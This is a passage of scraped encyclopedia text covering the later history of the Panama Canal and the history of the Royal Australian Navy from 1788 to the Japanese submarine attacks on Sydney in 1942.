          Of the three presidents whose periods in office span the construction period, the name of President Roosevelt is often the one most associated with the canal, and Woodrow Wilson was the president who presided over its opening. However, it may have been Howard Taft who gave the greatest personal impetus to the canal over the longest period. Taft visited Panama five times as Roosevelt's Secretary of War, and twice as President. He also hired John Stevens, and later recommended Goethals as his replacement. Taft became president in 1909, when canal construction was only at the halfway mark, and remained in office for most of the remainder of the work. However, Goethals later wrote "The real builder of the Panama Canal was Theodore Roosevelt".


          The following words of Theodore Roosevelt are displayed in the Rotunda of the Administration Building:


          
            	It is not the critic who counts, not the man who points out how the strong man stumbled, or where the doer of deeds could have done them better. The credit belongs to the man who is actually in the arena; whose face is marred by dust and sweat and blood; who strives valiantly, who errs and comes short again and again; who knows the great enthusiasms, the great devotions, and spends himself in a worthy cause; who, at the best, knows in the end the triumph of high achievement; and who, at the worst, if he fails, at least fails while daring greatly, so that his place shall never be with those cold and timid souls who know neither victory nor defeat.

          


          David du Bose Gaillard died from a brain tumour in Baltimore, on December 5, 1913, aged 54, having been promoted to colonel only a month before, and so never saw the opening of the great man-made valley whose creation he directed. The Culebra Cut, as it was originally known, was renamed to the Gaillard Cut on April 27, 1915, in his honour. A plaque commemorating his work stood over the cut for many years; in 1998 it was moved to the Administration Building in Balboa, close to the Goethals Memorial.


          


          The Third Locks Scheme


          As the situation in Europe deteriorated in the late-1930s, the USA began to be concerned once more about its ability to move warships between the oceans. The largest U.S. battleships were already so large as to have problems with the canal locks; and there were concerns about the locks being put out of action by enemy bombing .


          These concerns led the U.S. Congress to pass a resolution authorising a study into improving the canal's defences against attack, and into expanding the capacity of the canal to handle large vessels. This resolution was passed on May 1, 1936, and a Special Engineering Section was created by the on July 1, 1937, to carry out the study.


          A report was made to Congress on February 24, 1939, recommending that work be carried out to protect the existing lock structures, and to construct a new set of locks capable of carrying larger vessels than the existing locks could accommodate. On August 11, 1939, Congress authorised work to begin.


          The plan was to build three new locks, at Gatn, Pedro Miguel, and Miraflores, in parallel with the existing locks, and served by new approach channels. The new locks would add a single traffic lane to the canal, with each chamber being 365.8 metres (1200 ft) long, 42.7 metres (140 ft) wide, and 13.7 metres (45 ft) deep. The new locks would be 800 metres ( mile) to the east of the existing Gatn locks, and 400 metres ( mile) to the west of the existing Pedro Miguel and Miraflores locks.


          The first excavations for the new approach channels at Miraflores began on July 1, 1940, following the passage by Congress of the Appropriation Act on June 24, 1940. The first dry excavation at Gatn began on February 19, 1941. A considerable amount of material was excavated before the project was finally abandoned; the new approach channels can still be seen in parallel to the original channels at Gatn and Miraflores.


          


          Canal handover


          After construction, the canal and the Canal Zone surrounding it were administered by the United States. On 7 September 1977, U.S. President Jimmy Carter signed the Torrijos-Carter Treaty, which set in motion the process of handing over the canal to Panamanian control. The treaty came into force on 31 December 1999, since then the canal has been run by the Panama Canal Authority or the Autoridad de Canal de Panama ( the ACP).


          The treaty was highly controversial in the U.S., and its passage was difficult. The controversy was largely caused by contracts to manage two ports at either end of the canal, which were awarded by Panama to a Hong Kong-based conglomerate, Hutchison Whampoa. Republicans contend that the company has close ties to the Chinese government and the Chinese military . However, the U.S. State Department says it has found no evidence of connections between Hutchison Whampoa and Beijing . Some Americans were also wary of placing this strategic waterway under the protection of the Panamanian security force .


          There was some concern in the U.S. and in the shipping industry for the Canal after the handover. But opponents of the Torrijos-Carter Treaties turned out to be wrong. On virtually all counts, Panama is doing extremely well:


          
            	The Panama Canal's income has soared from USD$769 million in 2000, the first year under Panamanian control, to USD$1.4 billion in 2006, according to Panama Canal Authority figures.


            	Traffic through the canal went up from 230 million tons in 2000 to nearly 300 million tons in 2006;


            	The number of accidents has gone down from an average of 28 per year in the late-1990s to 12 accidents in 2005;


            	The average transit time through the canal is averaging about 30 hours, about the same as in the late-1990s;


            	Canal expenses have increased much less than revenues over the past six years  from USD$427 million in 2000 to USD$497 million in 2006.


            	On October 22, 2006, after many studies made by the agency, Panamanian citizens approved by a wide margin on a referendum a project to expand the Panama Canal.

          


          Former U.S. Ambassador to Panama Linda Watt, who served in Panama from 2002 to 2005, said that the canal operation under Panamanian hands has been "outstanding." She added, "The international shipping community is quite pleased."


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_Panama_Canal"
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          The History of the Royal Australian Navy can be traced back to 1788 and the colonisation of Australia by the British. During the period until 1859, vessels of the Royal Navy made frequent trips to the new colonies. In 1859, the Australia Squadron was formed as a separate squadron and remained in Australia until 1913. During the period before Federation, each of the six Australian colonies operated their own colonial naval force; these amalgamated in 1901 as the Commonwealth Naval Force. The Royal Australian Navy (RAN) was established in 1911, and in 1913 the fleet steamed through Sydney Heads for the first time.


          The Royal Australian Navy has seen action in every ocean of the world during its short life. The RAN first saw action in World War I, and distinguished itself in three oceans. Between the wars the RANs fortunes shifted with the financial situation of Australia: experiencing great growth during the 1920s, but forced to shrink in the 1930s. Entering World War II the RAN was not in the situation it was in 1914. During the war the size of the RAN grew to over 300 vessels of virtually all classes. After World War II the RAN saw action in Korea, Vietnam, and other smaller conflicts. Today the RAN fields a small but modern force, widely regarded as one of the most powerful forces in the Asia Pacific Region.


          


          Pre-Federation navies


          
            [image: The gunboat HMQS Paluma in 1889]

            
              The gunboat HMQS Paluma in 1889
            

          


          From the colonisation of Australia in 1788 until 1859 the blue water defence of Australia was provided by detached units of the Royal Navy's East Asia Squadron based in Sydney. In 1859 Australia was established as a separate Royal Navy squadron; this marked the first occasion the Royal Navy ships had been permanently stationed in Australia. The Royal Navy's Australia Squadron remained the primary naval force in Australian waters until 1913 when the Royal Navy's Australia Station ceased and responsibility handed over to the Royal Australian Navy and its Sydney based depots, dockyards and structures were gifted to the Australian commonwealth.


          Prior to Federation five of the six self-governing colony in Australia operated their own Colonial navies. Western Australia did not have a Colonial Naval force. The colonial navies were expanded greatly in the mid-1880s and usually consisted of gunboats and torpedo-boats for coastal defence of harbours and rivers, and naval brigades to man vessels and forts. In 1856 Victoria received its own Naval Vessel, the HMCSS Victoria, which in 1861 was deployed to assist the New Zealand colonial government during the first Taranaki Maori war. When Victoria returned to Australia the vessel had suffered one fatality and taken part in several minor actions. The deployment of Victoria to New Zealand marked the first occasion that an Australian warship had been deployed overseas. In the years leading up to Federation Colonial Victoria, became the most powerful of all the colonial navies. Victoria had HMVS Cerberus since 1870, as well as HMVSNelson, 3 small gunboats and 5 TBs. NSW had 2 very small TBs, and the corvette Wolverine. After Federation all colonial vessels became part of the Commonwealth Naval Force. Ref: Australian Naval Reserves by John M Wilkins RFD*


          


          Formation
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          After the Federation of Australia in 1901, the Commonwealth Naval Forces was formed on 1 March 1901 by amalgamating the six separate colonial navies. The Commonwealth government, however, paid for the Royal Navy to continue providing blue water defence.


          A growing number of people, among them Captain William Rooke Creswell, the director of the Commonwealth Naval Forces, demanded an autonomous Australian navy, financed and controlled by Australia. In 1909 Prime Minister Alfred Deakin and Creswell, while attending the Imperial Conference in London, sought the British Government's agreement to end the subsidy system and develop an Australian navy. The Admiralty rejected and resented the challenge, but suggested diplomatically that a small fleet of destroyers and submarines would be sufficient. Deakin was not impressed with the Admiralty and in 1908 invited the Great White Fleet to visit Australia, this fired the public enthusiasm for a modern navy and lead to the order of two 700 ton River class destroyers, a purchase that angered the British. The surge in German naval construction in 1909 lead the Admiralty to change their position on an Australian Navy. For his work Creswell's name lives on as the name of the naval base, HMAS Creswell, the site of the Royal Australian Naval College at Jervis Bay.


          


          The first Australian warship, the destroyer HMAS Parramatta, was launched at Govan in Scotland on Wednesday 9 February 1910. Sister ship HMAS Yarra, was launched at Dumbarton in Scotland on Saturday 9 April 1910. Both ships were commissioned into the Royal Navy on Monday 19 September 1910 and sailed for Australia. They arrived at Port Phillip on Saturday December 10, 1910, an event that was marred by the death of Engineer Lieutenant W. Robertson, RN. Robertson suffered a heart attack 8miles (13km) outside Port Phillip Heads whilst onboard HMAS Yarra, and drowned.


          On 10 July 1911 King George V fixed his signature to the approval for the Royal Australian Navy and the ships now officially received the prefix "His Majesty's Australian Ship" (HMAS). The manpower of the fleet stood at four hundred officers and men and, for the next two years, ships were built for the fledgling navy. On Saturday 4 October 1913 the first Fleet Review of the Royal Australian Navy took place, the battle cruiser HMAS Australia, the cruisers HMAS Melbourne and HMAS Sydney, the protected cruiser HMAS Encounter and the torpedo-boat destroyers Parramatta, Yarra and Warrego, entered Sydney Harbour.


          During the Imperial Conference of 1911 it was decided that in the event of war the ships of the RAN would be transferred to British Admiralty control. Under the Naval Defence Act (1912) the power to make the transfer was conferred in the Governor General. The RAN would become the Australia Squadron of the Royal Navy with all ships and personnel under the direct control of the Admiralty, while the RAN remained responsible for the upkeep of the ships and training.


          


          World War I
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          On 3 August 1914,as the prospect of war with the German Empire loomed, the Australian Government sent the following message to the Admiralty.


          
            
              	

              	In the event of war Government prepared place vessels of Australian Navy under control British Admiralty when desired.

              	
            

          


          On the August 8, the British Government telegrammed the Australian Government saying that the Admiralty would be grateful if the transfer be made immediately if not already done. On August 10, the Governor General officially transferred control of the RAN to the Admiralty. The Admiralty returned control of the RAN to the Australian Government on 19 August 1919 the following day, the United Kingdom declared war, bringing the whole British Empire, including Australia, into hostilities with Germany. The war was greeted with enthusiasm in Australia.


          At the outbreak of war the Royal Australian Navy (RAN) consisted of Australia, the light cruisers Sydney, Melbourne and Brisbane (Under Construction), the destroyers Parramatta, Yarra and Warrego and the submarines AE1 and AE2. 3 more destroyers were under construction, and a small fleet of auxiliary ships was being maintained by the RAN. The Royal Australian Navy at the start of the war was a formidable force.
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          Australian Navy ships first saw action Asian and Pacific theatre assisting in the attack on German New Guinea by the Australian Naval and Military Expeditionary Force (AN&MEF). In 1884 Germany colonised the northeastern part of New Guinea and several nearby island groups. The Germans used the colony as a wireless radio base, Britain required the wireless installations to be destroyed because they were used by the German East Asia Squadron which threatened merchant shipping in the region. The objectives of the force were the German stations at Yap in the Caroline Islands, Nauru and at Rabaul, New Britain. On 30 August 1914 the AN&MEF left Sydney under the protection of HMAS Australia and HMAS Melbourne for Port Moresby where it met the Queensland contingent aboard the transport HMAHS Kanowna. The force then sailed for German New Guinea on September 7 but the Kanowna was left behind when her stokers refused to work. HMAS Sydney and some destroyers met the AN&MEF off the eastern tip of New Guinea. Melbourne was detached to destroy the wireless station on Nauru, while on September 14, Encounter bombarded a ridge near the town, while half a battalion advanced towards the town. The only major loss of the campaign was the disappearance of the Australian submarine AE1 during a patrol off Rabaul on 14 September 1914.


          On 9 November 1914 the German light cruiser SMS Emden attacked the critical radio and telegraph station at Direction Island in the Cocos (Keeling) Islands. The inhabitants of the island managed to transmit a distress signal and Sydney, only 50miles (80km) away, began to steam towards the island. The Sydney reached the area in around two hours and was engaged by Emden. Sydney was the larger, faster and better armed of the two, and eventually overpowered the Emden, with the captain Karl von Mller running the ship aground on North Keeling Island to avoid sinking, at 11.15am. At first Emden refused to strike its colours, Sydney fired on the stationary Emden until it eventually struck its colours. The Battle of Cocos was the first ship-against-ship engagement for the Royal Australian Navy.
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          On 6 February 1915 the obsolescent light cruiser HMAS Pioneer joined the East African campaign. On July 6, it engaged the German cruiser SMS Knigsberg, and German shore batteries, during the Battle of Rufiji Delta. Pioneer remained off East Africa and took part in many bombardments of German East Africa, including Dar-es-Salaam on 13 June, 1916. Pioneer then returned to Australia, to be decommissioned in October 1916.


          During the Naval operations in the Dardanelles Campaign the Australian submarine AE 2 became the first Allied warship to breach the Turkish defences of the Dardanelles. AE 2 spent five days in the area and came under attack several time but was unable to find any large enemy troop transports. On 29 April 1915 she was damaged in an attack by the Turkish torpedo-boat Sultan Hisar in Artaki Bay and was scuttled by her crew. The wreck of AE 2 remained undiscovered until 2 July 1998, 83 years after she was scuttled.
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          Ships of the Royal Australian Navy also assisted the Royal Navy in the blockade of the German High Seas Fleet. HMAS Australia was the flagship of the 2nd Battle Cruiser Squadron and was to take part in the Battle of Jutland. Australia was forced to miss the battle after she collided with her sister ship HMS New Zealand on 22 April 1916, Australia did not return to service until 9 June 1916. Three vessels of the Royal Australian Navy were present during the surrender of the German High Seas Fleet; HMAS Australia, Sydney and Melbourne, Australia led the 2nd Battle Cruiser Squadron during the surrender. The RAN's only two losses during the war were the submarines AE1 and AE2.


          


          The 1918-19 influenza pandemic


          Between April 1918 and May 1919 the Spanish Flu killed an estimated 25 million people worldwide, far more than had been killed in four years of war. A rigorous quarantine policy was implemented in Australia this reduced the immediate impact of the flu, but by the end of 1919 the nations death toll stood at more than 11,500.


          When the pandemic struck in 1918 the ships of the Royal Australian Navy were dispersed throughout the world, the speed at which the flu spread coupled with the cramped mess decks and poorly ventilated living spaces on early 20th century warships created a favorable environment for the disease. The pandemic swept through the British Grand Fleet in 1918 and the Australian cruisers suffered high casualties, with up to 157 casualties in one ship alone. Outbreaks in the Mediterranean fleets were more severe than those in the Atlantic. HMAS Brisbane recorded 183 casualties between November and December 1918, of those casualties 2 men died of pneumonia. The RAN lost a total of 26 men to the disease. The saving factor was largely the ready availability of professional medical treatment.


          


          South Pacific aid mission
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          The disease arrived in the South Pacific on the cargo vessel SS Talune which sailed from Auckland on 30 October 1918, knowingly carrying sick passengers. The Talune stopped in Fiji, Samoa, Tonga and Nauru, the first outbreaks occurred within days of the ships visits. The local authorities were generally unprepared for the size of the outbreak and the infection spread uncontrollably. The German territory of Samoa was the worst affected of the small islands, the New Zealand administration carried out no efforts to lessen the outbreak and rejected offers of assistance from nearby American Samoa. The New Zealand government officially apologised to Samoa in 2002 for their reaction to the outbreak. On 29 November 1918 the military governor of Apia requested assistance from Wellington; the request was turned down on the grounds that all doctors were needed in New Zealand. Australia offered the only alternate source of aid.


          The Commonwealth Naval Board were aware of the worsening situation in the region, the sloop HMAS Fantome while stationed in Fiji reported its first case on 11 November 1918, and soon half her complement was affected. On 20 November 1918 the naval board began forming a joint relief expedition from available military medical personnel. The commanding officer of HMAS Encounter was then ordered to embark the expedition in Sydney and sail as soon as possible. Encounter departed Sydney on 24 November 1918 ten minutes after completing loading. As a precaution all 450 members of the Encounter's crew were doubly inoculated, the ship had suffered 74 cases earlier in the year at Fremantle and the captain did not want a repeat. Encounter arrived in Suva on 30 November and took half the available coal and 39 tonnes of water. Spanish flu was rampant in Suva and Captain Thring implemented a strict quarantine and placed guards on the wharf. All coaling was carried out by the crew; coaling was usually carried out by native labor. Encounter departed Suva in the evening of the same day and arrived off Apia on 3 December. Within six hours the medical landing party and their stores were ashore, Encounter departed for the Tongan capital of Nukuʻalofa immediately arriving their on 5 December. The last of the medical staff and supplies were unloaded, Encounter short on coal sailed for Suva on 7 December. On arriving in Suva Encounter received orders to return to Sydney. She reached Sydney on 17 December and was immediately placed in quarantine. The South Pacific aid mission is regarded as Australia's first overseas relief expedition and set a precedent for future relief mission conducted by the RAN.


          


          Between the wars


          
            [image: Australia on her side and sinking during her scuttling]

            
              Australia on her side and sinking during her scuttling
            

          


          Following the end of World War I the Australian Government believed that an immediate evaluation of the RAN was necessary. Australia had based its naval policy on the Henderson Recommendations of 1911 developed by Sir Reginald Henderson. The government sent an invitation to Admiral John Jellicoe, he arrived in Australia in May 1919. Jellicoe remained in Australia for 3 months and then returned to England via New Zealand and Canada. Jellicoe submitted his findings in August 1919, titled the Report on the Naval Mission to the Commonwealth. The report outlined several policies designed to strengthen British naval strength in the Pacific. The report heavily stressed a close relationship between the RAN and the Royal Navy. This would be achieved by strict adherence to the procedure and method of Administration of the Royal Navy. The report also suggested constant officer exchange between the two forces. Jellicoe also called for the creation of a large Far East Imperial Fleet which would include capital ships and aircraft carriers, this force would be mainly based in Singapore. The cost for the creation of such a fleet would be divided between Great Britain, Australia and New Zealand each contributing 75, 20 and 5% respectively. The suggested make up of the RAN would include; 1 aircraft carrier, 2 battlecruisers, 8 light cruisers, 1 flotilla leader, 12 destroyers, a destroyer depot ship, 8 submarines, 1 submarine parent ship and a small number of additional auxiliary ships. The annual cost and depreciation of the fleet was estimated to be 4,024,600. None of Jellicoe's major recommendations were carried out except for the establishment of closer ties with Britain. Although some of the minor recommendations were implemented.


          With the end of World War I the Australian Government began to worry about the threat Japan posed to Australia. Japan had extended its empire 3,000 km to the south, bringing it right to Australia's doorstep. Japan had continued to build up its naval force and had reached a stage where it outgunned the Royal Navy in the Pacific. The RAN and the government believed that the possibility of a Japanese invasion was highly likely. In his report, Admiral Jellicoe believed that the threat of a Japanese invasion of Australia would remain as long as the White Australia Policy remained in place. Due to the perceived threat and bilateral support in Australia for the White Australia Policy the Australian Government became a vocal supporter of the continuance of the 1902 Anglo-Japanese Alliance. Australia was joined in its support for the alliance by New Zealand but was heavily opposed by Canada, Canada believed the alliance hindered the Empires relationship with China and the United States. No decision on the alliance as agreed on. The discussion was shelved pending the outcome of the Washington Naval Treaty. The results of the treaty which allowed the British to retain naval supremacy in the Pacific created a sense of security in Australia. Many Australian saw the Four Powers Pact as replacing the Anglo-Japanese Alliance. This sense of security became known as the Ten Year Rule. This lead to defence retrenchments in Australia following the international trend and a 500,000 reduction in expenditure. The Governor General Henry Forster when opening parliament on 22 June 1922 was quoted as saying.


          
            
              	

              	In view of the result of attained at the Washington Treaty which, my advisors believe, guarantee peace in the Pacific for some time to come, it is proposed to reduce the establishment of the navy and army, and postpone the expansion of the air force.
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          Between World War I and World War II the Royal Australian Navy suffered a severe reduction in men and ships. As a result of the Washington Naval Treaty the flagship HMAS Australia was scrapped with her main armaments and sunk outside Sydney Heads in 1924. In the same year, the RAN began a five year program of obtaining new ships from Britain - the heavy cruisers HMAS Australia and HMAS Canberra and the seaplane carrier HMAS Albatross. This purchase was partly paid for by scrapping HMAS Brisbane, Melbourne and Sydney along with most of the destroyers. The Great Depression of 1929 hit the RAN hard and led to another reduction of manpower, the RAN although reduced in size had no problem filling its ranks, many men were unemployed and the pay was quite high for the period. Strength of the RAN fell to 3117 personnel plus 131 members of the Naval Auxiliary Services. In 1932 the strength of the Reserves stood at 5446. In the early 1930s, lack of funds forced the transfer of the Royal Australian Naval College from Jervis Bay to Flinders Naval Depot in Victoria. In 1933 the Australian Government ordered 3 light cruisers; HMAS Perth, Hobart and Sydney, and sold the seaplane carrier to fund Hobart. During this time the RAN also purchased destroyers of the V and W destroyer classes, the ships that would come to be know as the Scrap Iron Flotilla. With the ever increasing threat of Germany and Japan in the late 1930s the RAN was not in the position it was at the outbreak of World War I.


          


          World War II


          Australia declared war on Nazi Germany one hour after the United Kingdom's declaration of war on 3 September 1939. At the onset of war, the Royal Australian Navy numbered two heavy cruisers, HMAS Australian and Canberra both carried 8-inch (203mm) guns and had entered service in the 1920s - three modern light cruisers HMAS Hobart, Perth and Sydney, which mounted 6-inch (152mm) guns. The older cruiser HMAS Adelaide also remained in service. The RAN also possessed 4 sloops, HMAS Parramatta, Swan, Warrego and Yarra, though only Swan and Yarra were commissioned. The RAN's destroyer force consisted of five obsolete V class destroyers. The RAN also featured a variety of support and ancillary craft. Men and vessels of the RAN served in every theatre of operations, from the tropical Pacific to the frigid Russian convoys. By the end of the war the RAN's combat strength numbered 150 ships with an additional 200 auxiliary craft. The RAN reached its peak in June 1945 when it ranks swelled to 39,650. During the war the RAN lost 19 ships and 2,176 men and women died while serving in the RAN, 1,740 of them on ships of the RAN.


          The following table illustrates the growth of the RAN between the outbreak of war and 30 June 1945:


          
            
              	Ship type

              	Sept. 1939

              	June 1945
            


            
              	Heavy cruisers

              	2

              	2
            


            
              	Light cruisers

              	4

              	2
            


            
              	Destroyers

              	5

              	11
            


            
              	Frigates

              	0

              	6
            


            
              	Sloops

              	2

              	2
            


            
              	Corvettes

              	0

              	53
            


            
              	Landing ship infantry

              	0

              	3
            


            
              	Anti-submarine auxiliaries

              	0

              	3
            


            
              	Auxiliary Minesweepers

              	0

              	6
            


            
              	Minelayers

              	0

              	1
            


            
              	Fleet Oilers

              	0

              	1
            


            
              	Store ships

              	0

              	12
            


            
              	Repair ships

              	0

              	3
            


            
              	Boom defence vessels

              	0

              	4
            


            
              	Boom gate vessels

              	0

              	6
            


            
              	Tugs

              	0(?)

              	6
            


            
              	Cable repair ships

              	0

              	2
            


            
              	Survey ships

              	0(?)

              	9
            


            
              	Motor Launches

              	0

              	33
            


            
              	Harbour defence launches

              	0

              	28
            


            
              	Air sea rescue vessels

              	0

              	20
            


            
              	Naval auxiliary patrol vessels

              	0

              	75
            


            
              	Services reconnaissance

              	0

              	8
            


            
              	Miscellaneous vessels

              	0(?)

              	41
            


            
              	Total

              	13(?)

              	337
            

          


          


          Operations against Italy, Vichy France and Germany


          From Mid-1940, ships of the RAN, at the request of the Admiralty, began to deploy to the Mediterranean Sea to take part in the Battle of the Mediterranean against Nazi Germany and Fascist Italy. In September 1939 the Admiralty and the Australian Commonwealth Naval Board agreed to deploy RAN destroyer force outside the Australia Station, the 5 ships later to be immortalised as the Scrap Iron Flotilla arrived at Malta mid December and became known as the 10th Destroyer Flotilla. HMAS Sydney deployed in May 1940 and was later joined by Hobart. When Italy declared war on 10 June 1940 the Australian warships made up 5 of the 22 destroyers and 1 of the 5 modern light cruisers on station in the Mediterranean. The RAN then offered the services of Australia to the Admiralty, the offer was gratefully accepted. When Australia arrived in the Mediterranean, the RAN has sent nearly the entire combat fleet to the Northern Hemisphere, leaving Australian open to possible attack.


          On 27 June 1940 Admiral Cunningham commander of the Mediterranean Fleet ordered the 7th Cruiser Squadron, which included HMAS Sydney, to rendezvous with an Egypt-bound convoy near Cape Matapan. The cruiser squadron sighted three Italian cruisers at 6 pm on 28 June 1940 and immediately engaged them. Within an hour the Italian cruiser Espero was incapacitated and Sydney was signaled to sink her. As Sydney approached the Espero launched torpedoes, but failed to hit any targets. Sydney fired four salvos, scoring 10 direct hits on the Espero. Sydney remained at the scene for two hours picking up survivors.


          On 7 July 1940, a 25 ship fleet departed Alexandria intending to meet a convoy east of Malta. The next day a submarine reported sighting a Italian fleet 500miles (800km) away; the fleet altered course to intercept. The two fleets sighted each other at 3 pm on 9 July 1940 and a battle that became known as the Battle of Calabria began. Four vessels of the RAN took part in the battle; HMAS Sydney, Stuart, Vampire and Voyager. Sydney was the first RAN vessels to engage the enemy, and at 3.23 pm opened fire. The Italian fleet began to withdraw, the Allied destroyer squadron was ordered forward. HMAS Stuart, leading the destroyer force, was the first to open fire; her opening salvo was fired at a range of 12,600yards (11,500m) and was recorded as a direct hit. The Italian fleet retired under smoke and the Allied fleet retired. The fleet remained under constant air attack and Sydney, which came under heavy air attack, was believed to have sunk. The fleet arrived back in Alexandria on 13 July.


          On 17 July 1940, HMAS Sydney was ordered to support a Royal Navy destroyer squadron on a sweep north of the island of Crete. At 7.20 am on 19 July the Italian cruiser were sighted off Cape Spada by the destroyers, Sydney, 40miles (60km) away, began to steam towards the enemy destroyers at over 30knots (60km/h). Sydney sighted the cruisers at 8.29 am. By that time Sydney had achieved a speed of 37knots (69km/h), she fired the first shots of the Battle of Cape Spada, at a range of 17,360 metres. The Italian cruisers began to retire from the area under a smokescreen, with Sydney and the destroyers in pursuit. Sydney scored her first direct hit on the Giovanni dalle Bande Nere at 8.35 am and at the same time began to score repeated hits on the Bartolomeo Colleoni which by 9.25 am was incapacitated. Captain John Collins ordered the destroyers to sink the Colleoni. After he had maintained radio silence for two hours, Collins sent the following message.


          
            
              	

              	One cruiser sunk. Ammunition practically gone

              	
            

          


          By 10.27 am, Collins decided to end the chase, largely due to the fact that the Sydney was almost out of ammunition. Sydney though hit several times during the battle she suffered no casualties, but casualties were suffered in subsequent air attacks.
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          On 27 March 1941 an Allied fleet under Admiral Andrew Cunningham was ambushed by an Italian naval force off Cape Matapan, Greece. Three vessels of the RAN took part in the battle; HMAS Perth, Stuart and Vampire. The victory at Cape Matapan allowed the evacuation of thousands of Allied troops from Crete.


          


          West Africa


          On 6 September 1940 HMAS Australia was ordered to sail to Freetown, Sierra Leone to join Operation Menace, the invasion of Vichy French-controlled Dakar, French West Africa. On 19 September, Australia and the RN cruiser HMS Cumberland sighted three Vichy cruisers heading south and shadowed them. When one of them, the Gloire, developed engine trouble, Australia escorted her towards Casablanca and returned to the fleet two days later. On 23 September Australia came under heavy fire from shore batteries and then drove two Vichy destroyers back into port. Australia then engaged and sunk the destroyer L'Audacieux with eight salvos in sixteen minutes. Over the next two days French and Allied forces exchanged fire; the Australia was struck twice and lost her Walrus amphibian. Australia and the rest of the fleet retired on 25 September the battle became known as the Battle of Dakar.


          


          The "Scrap-Iron Flotilla"


          The Scrap-Iron Flotilla was an Australian destroyer group that operated in the Mediterranean and Pacific during World War II. The name Scrap-Iron Flotilla was bestowed upon the group by Nazi Propaganda Minister Joseph Goebbels who described the fleet as a "consignment of junk" and "Australias Scrap-Iron Flotilla". The flotilla consisted of five vessels; Scott class destroyer HMAS Stuart which acted as flotilla leader, and four V class destroyers; Vampire, Vendetta, Voyager and Waterhen. The ships were all built to fight in World War I and were slow and poorly armed compared to newer ships. The five destroyers which made up Australia's total destroyer force departed Australia in November 1939 destined for Singapore where they carried out anti-submarine exercises with the Royal Navy submarine HMS Rover. On 13 November 1939 the flotilla sailed left Singapore for the Mediterranean following a request from the Admiralty for assistance. For a time the five Australian destroyers made up the entire Mediterranean Fleet destroyer force.
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          The Australian destroyer flotilla took part in multiple actions while in the Mediterranean, including the evacuation of Greece in April 1941, though the flotilla came to fame in the mission to resupply the besieged city of Tobruk. The resupply routes from Alexandria and Mersa Matruh to Tobruk became known as "Bomb Alley" and was subject to constant Axis air attacks. The flotilla, which by this time was in poor condition, managed to make 138 runs to Tobruk, carrying in ammunition and stores and taking out wounded soldiers. On 28 May 1941 Vampire became the first of the flotilla to leave the Mediterranean, Vendetta the last to leave sailed in October 1941.


          Of the five destroyers, three were lost during the war; Waterhen was sunk in the Mediterranean on 30 June 1941, Vampire was sunk by Japanese aircraft during the Indian Ocean Raid and Voyager ran aground at Betano, during the Timor campaign and was abandoned.


          


          Red Sea


          As well as serving in the Mediterranean Sea, ships of the RAN also served in the Red Sea. In August 1940, Italian forces invaded British Somaliland. After a fighting withdrawal, the small British garrison was evacuated from Berbera, with HMAS Hobart assisting in the destruction of the port and its facilities. To aid in the delaying action, Hobart sent a 3-pounder gun ashore, manned by volunteers from the crew. The seamen were captured by the Italians (but were liberated months later). Two RAN sloops joined the Red Sea force in 1940: Parramatta on 30 July and Yarra in September. In October, Yarra engaged two Italian destroyers attempting to raid a convoy; Yarra drove the destroyers off, saving the convoy. Though vessels of the RAN served in the Red Sea throughout the war, after 1941 larger vessels were deployed to Australian waters in response to the threat from Japan.


          


          Loss of HMAS Sydney
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          On November 19, 1941, the Australian light cruiser HMAS Sydney and the German auxiliary cruiser HSK Kormoran engaged each other in the Indian Ocean, off Western Australia. The two ships sank each other and the Sydney was lost with all 645 hands. The majority of the Kormoran's crew were rescued and became prisoners of war. The location of both wreaks reamined a mystery to many and subject to much controversy until March 1617 2008 when both ships were found.


          


          Sicily 1943


          During early 1943, eight Australian-designed and built Bathurst class corvettes were transferred to Egypt from the Indian Ocean, in preparation for Operation Husky, the Allied invasion of Sicily. They were part of a 3,000 ship Allied force. The corvettes arrived in the Mediterranean in May and were formed into the 21st Minesweeping Flotilla and the 22nd Minesweeping Flotilla. All survived the campaign without damage or casualties sustained in action, although HMAS Maryborough experienced a near miss from a German bomber. When the captain of HMAS Gawler enquired what damage had been sustained, the response from Maryborough read: "no damage except to my underpants".
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          War with Japan


          After the Imperial Japanese Navy's attacks on the Allies in December 1941, the RAN redeployed its larger ships to home waters to protect the Australian mainland from Japanese attack, while several small ships remained in the Mediterranean. From 1940 onwards there was considerable Axis naval activity in Australian waters first from German commerce raiders and submarines and later by the Imperial Japanese Navy.


          Initially RAN ships served as part of the British-Australian component of the American-British-Dutch-Australian Command (ADBACOM) naval forces. ABDACOM was wound up following the fall of the Netherlands East Indies. It was succeeded by the South West Pacific Area (command) (SWPA). The United States Seventh Fleet was formed at Brisbane on March 15, 1943, for service in the SWPA. RAN ships in the Pacific generally served at part of Seventh Fleet task forces.


          


          Timor


          From February 1942, the RAN played a critical role in resupplying Australian and Dutch commandos on Timor. Voyager was not the only loss during the campaign. On 1 December 1942, HMAS Armidale was attacked by thirteen Japanese aircraft while attempting to land Dutch soldiers off Betano, Portuguese Timor. Armidale sank with the loss of 40 of her crew and 60 Dutch personnel. During the engagement, Ordinary Seaman Teddy Sheean manned an Oerlikon anti-aircraft gun and was wounded by strafing Japanese planes, he went down with the ship, still strapped into the gun and still shooting at the attacking aircraft.


          


          Java Sea
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          On February 28, 1942, a joint ABDA naval force met a Japanese invasion force in the Java Sea. The Leander class cruiser, HMAS Perth and the American heavy cruiser USS Houston survived the Battle of the Java Sea.


          On 1 March 1942 the two ships attempted to move through the Sunda Strait to Tjilatjap. Perth and Houston found their path blocked by the main Japanese invasion fleet for western Java. After a prolonged battle, both ships were torpedoed and sank. In all, 350 crew from Perth and three civilians were killed; 324 crew members survived the sinking and were taken prisoner by the Japanese, although 106 died in captivity before the end of the war. The loss of Perth, soon after the sinking of its sister Sydney, had a major psychological effect on the Australian people.


          


          Coral Sea


          On 2 May 1942, two ships of the RAN were part of the Allied force in the Battle of the Coral Sea; HMAS Australia and HMAS Hobart. Both ships came under intense air attack, while part of a force guarding the approaches to Port Moresby.


          


          The defence of Australian shipping
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          In late May and early June, 1942, a group of five Imperial Japanese Navy submarines made a series of attacks on Sydney and the nearby port of Newcastle. On the night of May 31- June 1, the submarines launched three Ko-hyoteki class midget submarines against Allied shipping in Sydney Harbour. A torpedo exploded under the depot ship HMAS Kuttabul, killing 21. On June 8, two of the submarines shelled Sydney and Newcastle, with little effect. In response to these attacks the RAN instituted convoys between Brisbane and Adelaide. All ships of over 1200 tons and with speeds of less than 12knots (22km/h) were required to sail in convoy when travelling between cities on the east coast.


